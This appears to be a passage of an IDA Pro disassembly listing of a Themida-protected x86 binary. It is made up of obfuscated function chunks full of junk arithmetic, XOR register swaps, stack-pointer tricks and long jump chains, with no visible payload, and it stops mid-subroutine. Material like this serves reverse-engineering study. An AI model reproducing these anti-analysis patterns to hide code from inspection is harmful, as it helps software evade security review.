; FUNCTION CHUNK AT 00566543 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00568C82 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00569FD6 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0056D92E SIZE 0000002A BYTES
; FUNCTION CHUNK AT 0056E195 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056FF2B SIZE 00000012 BYTES

		push	ebx
		jmp	loc_56D92E
sub_566DC7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_566DCD:				; CODE XREF: sub_568CD2-1AF6j
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_572054
; END OF FUNCTION CHUNK	FOR sub_568CD2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_560844


loc_566DDB:				; CODE XREF: sub_560844+90BBj
		mov	ebx, 28E3DD30h
		push	ebx
		jmp	loc_570CA7
; END OF FUNCTION CHUNK	FOR sub_560844
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_566DE6:				; CODE XREF: sub_571088-A484j
		add	al, 3Fh
		push	ecx
		mov	cl, 91h
		sub	cl, 2Ah
		xor	cl, 0F6h
		push	bx
		mov	bh, 0B2h
		xor	cl, bh
		pop	bx
		jmp	loc_570B5F
; END OF FUNCTION CHUNK	FOR sub_571088

; =============== S U B	R O U T	I N E =======================================



sub_566DFE	proc near		; CODE XREF: sub_56351E+5A60j

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 00561E2F SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00564A38 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 005673AB SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00567A5A SIZE 00000025 BYTES
; FUNCTION CHUNK AT 0056CC82 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056D4EA SIZE 00000007 BYTES
; FUNCTION CHUNK AT 0056E7E5 SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0057149C SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005719A5 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00572864 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0057340C SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005746BE SIZE 0000001D BYTES

		sub	esp, 4
		jmp	loc_56CC82
sub_566DFE	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B310


loc_566E06:				; CODE XREF: sub_56B310-381Aj
		xor	edi, [esp+0]
		xor	[esp+0], edi
		xor	edi, [esp+0]
		pop	esp
		ror	[esp-4+arg_0], cl
		pushf
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56B310
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568E5C


loc_566E19:				; CODE XREF: sub_568E5C-588j
		pop	eax
		jmp	loc_5738AC
; END OF FUNCTION CHUNK	FOR sub_568E5C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5678CB


loc_566E1F:				; CODE XREF: sub_5678CB-5E9Dj
		mov	al, 59h
		xor	al, dl
		jmp	loc_571CF1
; END OF FUNCTION CHUNK	FOR sub_5678CB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566C83


loc_566E28:				; CODE XREF: sub_566C83+C002j
		mov	ebp, 287C1F3Eh
		jmp	loc_560BC7
; END OF FUNCTION CHUNK	FOR sub_566C83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572641


loc_566E32:				; CODE XREF: sub_572641-8151j
		mov	cl, al
		pop	eax
		add	al, 0D7h
		push	ebx
		mov	bl, 0ACh
		add	bl, 0F9h
		add	al, bl
		pop	ebx
		sub	al, 0A5h
		sub	al, cl
		add	al, 0A5h
		sub	al, 0A5h
		sub	al, 0D7h
		mov	ecx, [esp+4+var_4]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp+8+var_8]
		mov	esp, [esp+8+var_8]
		jmp	loc_5614D1
; END OF FUNCTION CHUNK	FOR sub_572641
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_566E65:				; CODE XREF: sub_566078+44j
		pop	esp
		shl	edx, 7
		push	ecx
		jmp	loc_573801
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563BCC


loc_566E6F:				; CODE XREF: sub_563BCC+1019Dj
		mov	ebx, 71DB0137h
		sub	edi, ebx
		mov	ebx, [esp+0Ch+var_C]
		push	edi
		push	esp
		jmp	loc_560D5B
; END OF FUNCTION CHUNK	FOR sub_563BCC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B06D


loc_566E80:				; CODE XREF: sub_56B06D+8C85j
		push	55E4h
		jmp	loc_5728AA
; END OF FUNCTION CHUNK	FOR sub_56B06D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56FD38


loc_566E8A:				; CODE XREF: sub_56FD38-4FD5j
		sub	ebx, 164A25C9h
		add	ebx, 0CCEA0958h
		add	eax, ebx
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		push	433Dh
		mov	[esp+4+var_4], ebx
		mov	ebx, 4D43AA2h
		push	edi
		mov	edi, 590642AEh
		and	ebx, edi
		jmp	loc_56A70C
; END OF FUNCTION CHUNK	FOR sub_56FD38
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5685B2


loc_566EBB:				; CODE XREF: sub_5685B2+8777j
		push	esi
		mov	esi, 4
		sub	eax, esi
		pop	esi
		jmp	loc_5708C1
; END OF FUNCTION CHUNK	FOR sub_5685B2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574A21


loc_566EC9:				; CODE XREF: sub_574A21-CE40j
		sub	eax, 5B4E72DFh
		push	esi
		mov	esi, 105D1C48h
		add	eax, 58726EA7h
		sub	eax, esi
		sub	eax, 58726EA7h
		pop	esi
		sub	eax, 4A120CACh
		sub	eax, 15D92143h
		jmp	loc_561CD4
; END OF FUNCTION CHUNK	FOR sub_574A21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_575315


loc_566EF0:				; CODE XREF: sub_575315-11D87j
		xchg	ebx, [esp-4+arg_0]
		jmp	loc_574D82
; END OF FUNCTION CHUNK	FOR sub_575315
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5738F4


loc_566EF8:				; CODE XREF: sub_5738F4-124j
		pop	eax
		jmp	loc_565616
; END OF FUNCTION CHUNK	FOR sub_5738F4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B1DC


loc_566EFE:				; CODE XREF: sub_56B1DC-92B1j
		add	esp, 4
		jmp	loc_56FC3E
; END OF FUNCTION CHUNK	FOR sub_56B1DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56504F


loc_566F09:				; CODE XREF: sub_56504F-5016j
		pop	edi
		jmp	sub_56C295
; END OF FUNCTION CHUNK	FOR sub_56504F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5648C6


loc_566F0F:				; CODE XREF: sub_5648C6+C389j
		shr	ebp, 6
		shl	ebp, 8
		not	ebp
		and	ebp, 8792C9Dh
		xor	ebp, 32E204A8h
		jmp	loc_5748ED
; END OF FUNCTION CHUNK	FOR sub_5648C6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1DB


loc_566F28:				; CODE XREF: sub_56F1DB-EF4Aj
		mov	edx, [esp+0]
		add	esp, 4
		add	esi, 64EF2F4Dh
		push	[esp-0Ch+arg_8]
		pop	ebx
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		jmp	loc_571C1E
; END OF FUNCTION CHUNK	FOR sub_56F1DB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F1F0


loc_566F4A:				; CODE XREF: sub_56F1F0+6j
		add	ebp, 28AF4588h
		jmp	loc_574CFA
; END OF FUNCTION CHUNK	FOR sub_56F1F0

; =============== S U B	R O U T	I N E =======================================



sub_566F55	proc near		; CODE XREF: sub_564686+5CADj

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00569C73 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0056D043 SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0056D402 SIZE 00000012 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], esp
		add	[esp+4+var_4], 4
		jmp	loc_569C73
sub_566F55	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563DCB


loc_566F67:				; CODE XREF: sub_563DCB+26j
		push	esi
		mov	esi, 4D4F7A32h
		mov	ebx, esi
		pop	esi
		sub	ebx, 493E7836h
		sub	ecx, ebx
		jmp	loc_5603EB
; END OF FUNCTION CHUNK	FOR sub_563DCB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56749A


loc_566F7D:				; CODE XREF: sub_56749A-52A2j
		xor	eax, [esp+10h+var_10]
		mov	esp, [esp+10h+var_10]
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		jmp	loc_56137C
; END OF FUNCTION CHUNK	FOR sub_56749A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570019


loc_566F8E:				; CODE XREF: sub_570019-7F2Cj
		push	ecx
		mov	ecx, esp
		jmp	loc_5644E1
; END OF FUNCTION CHUNK	FOR sub_570019
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5687A3


loc_566F96:				; CODE XREF: sub_5687A3-287Cj
		sub	ecx, eax
		jmp	loc_56F893
; END OF FUNCTION CHUNK	FOR sub_5687A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5735AA


loc_566F9D:				; CODE XREF: sub_5735AA-CD72j
		rep movsd
		add	esp, [edx+38h]
		push	5568h
		mov	[esp+0], ebx
		push	3C0E4252h
		mov	ebx, [esp+4+var_4]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_566823
; END OF FUNCTION CHUNK	FOR sub_5735AA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5733CA


loc_566FC6:				; CODE XREF: sub_5733CA-61F2j
		pop	ecx
		add	esi, 0FFFFFFFFh
		not	esi
		push	ecx
		mov	ecx, 1
		jmp	loc_573763
; END OF FUNCTION CHUNK	FOR sub_5733CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570621


loc_566FD7:				; CODE XREF: sub_570621-B2E0j
		add	edi, 4
		push	edx
		push	ecx
		mov	ecx, 1313340Fh
		jmp	loc_56329B
; END OF FUNCTION CHUNK	FOR sub_570621
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_566FE9:				; CODE XREF: sub_5726FB-184j
		pop	[esp+8+var_8]
		mov	esp, [esp+4+var_4]
		mov	[esp+0], ecx
		push	esi
		mov	esi, 7559571Dh
		shl	esi, 3
		jmp	loc_562784
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571890


loc_567000:				; CODE XREF: sub_571890-E664j
		xchg	ebx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5638F4
; END OF FUNCTION CHUNK	FOR sub_571890
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5605BC


loc_56700B:				; CODE XREF: sub_5605BC+11605j
		mov	ecx, 7B22424Dh
		not	ecx
		neg	ecx
		jmp	loc_561773
; END OF FUNCTION CHUNK	FOR sub_5605BC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561027


loc_567019:				; CODE XREF: sub_561027+13CCEj
		xor	esi, 762E00FEh
		xor	edi, esi
		jmp	loc_564EC6
; END OF FUNCTION CHUNK	FOR sub_561027
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5666C3


loc_567026:				; CODE XREF: sub_5666C3+D45Fj
		push	edi
		mov	edi, 37F553EEh
		xor	edi, 54EA5EA8h
		jmp	loc_575110
; END OF FUNCTION CHUNK	FOR sub_5666C3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574AF3


loc_567037:				; CODE XREF: sub_574AF3-E062j
		sub	eax, 4BDF5B20h
		add	eax, esi
		add	eax, 4BDF5B20h
		pop	esi
		jmp	loc_570834
; END OF FUNCTION CHUNK	FOR sub_574AF3

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_567049	proc near		; CODE XREF: sub_57354D+1A8j

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

; FUNCTION CHUNK AT 00560C7C SIZE 0000000F BYTES
; FUNCTION CHUNK AT 00562D29 SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00564467 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 00565A87 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0056912E SIZE 00000010 BYTES
; FUNCTION CHUNK AT 005713EE SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00574C03 SIZE 00000037 BYTES

		push	ebp
		mov	ebp, esp
		push	edx
		mov	edx, 4
		jmp	loc_562D29
sub_567049	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_567057:				; CODE XREF: sub_561541+400Ej
		pop	esi
		xor	esi, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_57412F
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------


loc_567065:				; CODE XREF: Themida_:0056E923j
		push	edx
		mov	edx, esp
		push	5855h
		jmp	loc_56A070
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56CC46


loc_567072:				; CODE XREF: sub_56CC46-60FBj
		sub	dword ptr [esp+0], 1D2F4F03h
		pop	edx
		push	6953h
		mov	[esp+0], ebp
		push	3847h
		mov	[esp+4+var_4], esi
		push	26923C69h
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	ebp
		mov	ebp, 3BBD736Ah
		jmp	loc_56D11C
; END OF FUNCTION CHUNK	FOR sub_56CC46
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_5670A0:				; CODE XREF: sub_574896-D629j
		add	eax, 4F4D4372h
		mov	ebp, [esp-4+arg_0]
		add	esp, 4
		add	eax, 4
		jmp	loc_572DEF
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B11B


loc_5670B8:				; CODE XREF: sub_56B11B-12C4j
		shl	edx, 1
		push	dword ptr [edi+24h]
		push	ecx
		pop	dword ptr [edi+24h]
		pop	ecx
		sub	ecx, 0FFFFFFFFh
		xor	[edi+24h], ecx
		jmp	sub_571C0A
; END OF FUNCTION CHUNK	FOR sub_56B11B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_5670CD:				; CODE XREF: sub_564D26+FD3j
		push	[esp+10h+var_10]
		pop	edx
		push	ecx
		sub	esp, 4
		mov	[esp+18h+var_18], esp
		add	[esp+18h+var_18], 4
		pop	ecx
		push	ebp
		mov	ebp, 1B141451h
		and	ebp, 182D3CF4h
		jmp	loc_56CCDB
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_5670EE:				; CODE XREF: sub_565632+60B6j
		xor	edi, esi
		mov	esi, [esp+4+var_4]
		jmp	loc_56DAF0
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566B37


loc_5670F8:				; CODE XREF: sub_566B37-3FBEj
		mov	[esp+4+var_4], eax
		push	ebp
		pop	eax
		mov	ebp, [esp+4+var_4]
		jmp	loc_572D08
; END OF FUNCTION CHUNK	FOR sub_566B37
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_569DB5


loc_567105:				; CODE XREF: sub_569DB5+86BFj
		add	esp, 4
		add	edx, 4
		sub	edx, 4
		xchg	edx, [esp+8+var_8]
		jmp	loc_56CD82
; END OF FUNCTION CHUNK	FOR sub_569DB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_570E81


loc_56711C:				; CODE XREF: sub_570E81-EB57j
		mov	esp, [esp+4+var_4]
		push	eax
		push	edi
		push	331A2F53h
		pop	edi
		or	edi, 7D3A2AACh
		push	42C2h
		mov	[esp+8+var_8], esi
		jmp	loc_561BFC
; END OF FUNCTION CHUNK	FOR sub_570E81
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_567CF5


loc_56713A:				; CODE XREF: sub_567CF5+503Fj
		push	7B1Fh
		mov	[esp+8+var_8], ebp
		jmp	loc_56AE7F
; END OF FUNCTION CHUNK	FOR sub_567CF5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_567147:				; CODE XREF: sub_561541+12BFCj
		and	eax, esi
		mov	esi, [esp+0]
		push	eax
		jmp	loc_563888
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56651E


loc_567152:				; CODE XREF: sub_56651E+963Dj
		sub	edi, 5BBF0CCCh
		sub	edi, 43005ECFh
		pop	ebp
		sub	edi, 4
		xor	edi, [esp+4+var_4]
		xor	[esp+4+var_4], edi
		xor	edi, [esp+4+var_4]
		jmp	loc_56C7EB
; END OF FUNCTION CHUNK	FOR sub_56651E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561541


loc_567173:				; CODE XREF: sub_561541+10D75j
		mov	ecx, 796617CCh
		or	eax, ecx
		pop	ecx
		neg	eax
		or	eax, 71A264E5h
		sub	eax, 35E46C72h
		xor	eax, 0D15246F9h
		and	esi, eax
		pop	eax
		shl	esi, 2
		sub	esi, 0F6BBF53Dh
		jmp	loc_56554D
; END OF FUNCTION CHUNK	FOR sub_561541
; ---------------------------------------------------------------------------


loc_56719D:				; CODE XREF: Themida_:0056BA8Cj
		mov	eax, 2
		add	ecx, eax
		mov	eax, [esp]
		add	esp, 4
		xor	ecx, [esp]
		jmp	loc_565933
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F3B2


loc_5671B2:				; CODE XREF: sub_56F3B2-E974j
		mov	ebx, 0EA82F20h
		jmp	loc_562C1F
; END OF FUNCTION CHUNK	FOR sub_56F3B2
; ---------------------------------------------------------------------------


loc_5671BC:				; CODE XREF: Themida_:005664E8j
		mov	[esp], ecx
		mov	ecx, 40144F2Ch
		push	edi
		mov	edi, 0A95554Bh
		push	edi
		jmp	loc_56999C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56B577


loc_5671D0:				; CODE XREF: sub_56B577+54j
		sub	ebp, 35346307h
		jmp	loc_5691DC
; END OF FUNCTION CHUNK	FOR sub_56B577
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_568CD2


loc_5671DB:				; CODE XREF: sub_568CD2+14j
		pop	ebx
		jmp	loc_566DCD
; END OF FUNCTION CHUNK	FOR sub_568CD2

; =============== S U B	R O U T	I N E =======================================



sub_5671E1	proc near		; DATA XREF: Themida_:0055FE90o

var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  4

; FUNCTION CHUNK AT 005617C9 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056251E SIZE 00000009 BYTES
; FUNCTION CHUNK AT 00563A21 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005665B5 SIZE 0000001F BYTES
; FUNCTION CHUNK AT 00569772 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0056B9DE SIZE 00000028 BYTES
; FUNCTION CHUNK AT 0056D7FB SIZE 0000001D BYTES
; FUNCTION CHUNK AT 0057380D SIZE 00000026 BYTES
; FUNCTION CHUNK AT 00573EE4 SIZE 00000025 BYTES

		mov	ax, [esp+0]
		sub	esp, 4
		mov	[esp+4+var_4], edi
		push	7914h
		mov	[esp+8+var_8], esp
		jmp	loc_56251E
sub_5671E1	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5726FB


loc_5671F8:				; CODE XREF: sub_5726FB+1j
		mov	edi, esp
		jmp	loc_56BEB4
; END OF FUNCTION CHUNK	FOR sub_5726FB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_5671FF:				; CODE XREF: sub_571F6F-301Bj
		mov	cl, ah
		mov	eax, [esp+0Ch+var_E+2]
		jmp	loc_56BB08
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_572D45


loc_567209:				; CODE XREF: sub_572D45-108CCj
		neg	eax
		push	0ECAh
		mov	[esp+10h+var_10], ebp
		push	ebx
		mov	ebx, 0F650175h
		xor	ebx, 10963D73h
		push	edx
		mov	edx, 480F5094h
		inc	edx
		inc	edx
		add	edx, 892F4A6h
		xor	ebx, edx
		jmp	loc_570250
; END OF FUNCTION CHUNK	FOR sub_572D45
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571F6F


loc_567234:				; CODE XREF: sub_571F6F+2886j
		shr	ecx, 6
		push	eax
		mov	eax, 71C90975h
		and	eax, 32D541A4h
		sub	eax, 4CE449Ch
		jmp	loc_572287
; END OF FUNCTION CHUNK	FOR sub_571F6F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574DC1


loc_56724C:				; CODE XREF: sub_574DC1-4637j
		mov	ebp, [esp+0Ch+var_C]
		add	esp, 4
		push	ebp
		jmp	loc_5684E3
; END OF FUNCTION CHUNK	FOR sub_574DC1
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574896


loc_567258:				; CODE XREF: sub_574896-EAC0j
		push	271Dh
		mov	[esp+0], ebp
		push	4
		pop	ebp
		sub	eax, 4F4D4372h
		add	eax, ebp
		jmp	loc_5670A0
; END OF FUNCTION CHUNK	FOR sub_574896
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56DAB2


loc_567272:				; CODE XREF: sub_56DAB2+6576j
		mov	[esp+8+var_8], esi
		mov	esi, esp
		jmp	loc_566596
; END OF FUNCTION CHUNK	FOR sub_56DAB2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56F782


loc_56727C:				; CODE XREF: sub_56F782-DA49j
		xchg	ebp, [esp+4+var_4]
		jmp	loc_5643BF
; END OF FUNCTION CHUNK	FOR sub_56F782
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_564D26


loc_567284:				; CODE XREF: sub_564D26+9C6Dj
		pop	edx
		pop	edx
		push	edi
		mov	edi, 0DA27F7Eh
		sub	edx, edi
		pop	edi
		jmp	loc_560F8D
; ---------------------------------------------------------------------------


loc_567294:				; CODE XREF: sub_564D26-354Bj
		and	eax, edx
		pop	edx
		or	edx, eax
		jmp	loc_563231
; END OF FUNCTION CHUNK	FOR sub_564D26
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56E05C


loc_56729E:				; CODE XREF: sub_56E05C-AC18j
		mov	[esp+0], esi
		jmp	loc_56A6EB
; END OF FUNCTION CHUNK	FOR sub_56E05C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_571088


loc_5672A6:				; CODE XREF: sub_571088-E11Bj
		pop	eax
		jmp	loc_5688B9
; END OF FUNCTION CHUNK	FOR sub_571088
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56AB5E


loc_5672AC:				; CODE XREF: sub_56AB5E-47BCj
		add	esp, 4
		jmp	loc_56C9FA
; END OF FUNCTION CHUNK	FOR sub_56AB5E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563A7F


loc_5672B7:				; CODE XREF: sub_563A7F-389Ej
		add	esp, 4
		sub	edi, esi
		jmp	loc_5654BE
; END OF FUNCTION CHUNK	FOR sub_563A7F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563FA2


loc_5672C1:				; CODE XREF: sub_563FA2+5318j
		mov	eax, ebx
		pop	ebx
		jmp	loc_56D4F1
; END OF FUNCTION CHUNK	FOR sub_563FA2
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_563207


loc_5672C9:				; CODE XREF: sub_563207+2785j
		pop	ebp
		sub	esp, 4
		mov	[esp+10h+var_10], esi
		mov	esi, 173B9438h
		xor	ebp, esi
		pop	esi
		push	3F9Bh
		mov	[esp+10h+var_10], ebx
		jmp	loc_562190
; END OF FUNCTION CHUNK	FOR sub_563207
; ---------------------------------------------------------------------------


loc_5672E5:				; CODE XREF: Themida_:0057315Bj
		imul	cx
		sub	esp, 4
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		mov	esi, 4
		jmp	loc_56A1E7
; ---------------------------------------------------------------------------


loc_567304:				; CODE XREF: Themida_:0056BB45j
		mov	ebx, 1F265C09h
		add	ecx, ebx
		jmp	loc_574D06
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566078


loc_567310:				; CODE XREF: sub_566078+2A7Bj
		push	ecx
		mov	ecx, esp
		jmp	loc_568F21
; END OF FUNCTION CHUNK	FOR sub_566078
; ---------------------------------------------------------------------------


loc_567318:				; CODE XREF: Themida_:0056B372j
		pop	ebx
		jmp	loc_5754EF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56731E:				; CODE XREF: sub_561418+DA42j
		add	esi, 4
		xchg	esi, [esp+14h+var_14]
		pop	esp
		push	edi
		jmp	loc_568E2D
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56671D


loc_56732B:				; CODE XREF: sub_56671D+6j
		mov	[esp+4+var_4], ebx
		mov	ebx, esp
		push	esi
		mov	esi, 70BB7C40h
		add	esi, 8F4483C4h
		add	ebx, esi
		mov	esi, [esp+8+var_8]
		add	esp, 4
		push	esi
		push	ebp
		mov	ebp, 4
		mov	esi, ebp
		pop	ebp
		add	ebx, esi
		jmp	loc_5611DC
; END OF FUNCTION CHUNK	FOR sub_56671D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_574F16


loc_567358:				; CODE XREF: sub_574F16-9EFj
		sub	dl, ch
		add	dl, 0F6h
		pop	ecx
		and	cl, dl
		pop	edx
		xchg	dh, cl
		xchg	ch, dh
		not	ch
		xchg	ch, dh
		jmp	loc_566B50
; END OF FUNCTION CHUNK	FOR sub_574F16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_561418


loc_56736E:				; CODE XREF: sub_561418+AE0Cj
		add	esi, edx
		add	esi, 3DBF2D46h
		jmp	loc_5623BB
; END OF FUNCTION CHUNK	FOR sub_561418
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_56637E


loc_56737B:				; CODE XREF: sub_56637E+3167j
		mov	eax, [esp+4+var_4]
		add	esp, 4
		pop	small word ptr [eax]
		jmp	loc_55FF9F
; END OF FUNCTION CHUNK	FOR sub_56637E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_56738C:				; CODE XREF: sub_5620B7-1B97j
		mov	cl, 28h
		sub	esp, 4
		mov	[esp], edx
		mov	dl, 0C7h
		sub	dl, 6Dh
		jmp	loc_562FBB
; END OF FUNCTION CHUNK	FOR sub_5620B7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_565632


loc_56739E:				; CODE XREF: sub_565632+A21Aj
		push	382Bh
		mov	[esp+8+var_8], ecx
		jmp	loc_570971
; END OF FUNCTION CHUNK	FOR sub_565632
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_566DFE


loc_5673AB:				; CODE XREF: sub_566DFE+ABB3j
		shl	eax, 4
		jmp	loc_567A5A
; END OF FUNCTION CHUNK	FOR sub_566DFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5620B7


loc_5673B3:				; CODE XREF: sub_5620B7+3j
		add	bh, 0BAh
		push	cx
		mov	ch, bh
		not	ch
		mov	bh, ch
		jmp	loc_5653D3
; END OF FUNCTION CHUNK	FOR sub_5620B7

; =============== S U B	R O U T	I N E =======================================



sub_5673C3	proc near		; CODE XREF: sub_570E27+41FAj

var_10		= dword	ptr -10h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

; FUNCTION CHUNK AT 0056107E SIZE 0000002F BYTES
; FUNCTION CHUNK AT 00562E8D SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0056408B SIZE 0000004B BYTES
; FUNCTION CHUNK AT 00564E7D SIZE 0000001A BYTES
; FUNCTION CHUNK AT 00566125 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005664C7 SIZE 0000001E BYTES
; FUNCTION CHUNK AT 0056669E SIZE 0000001C BYTES
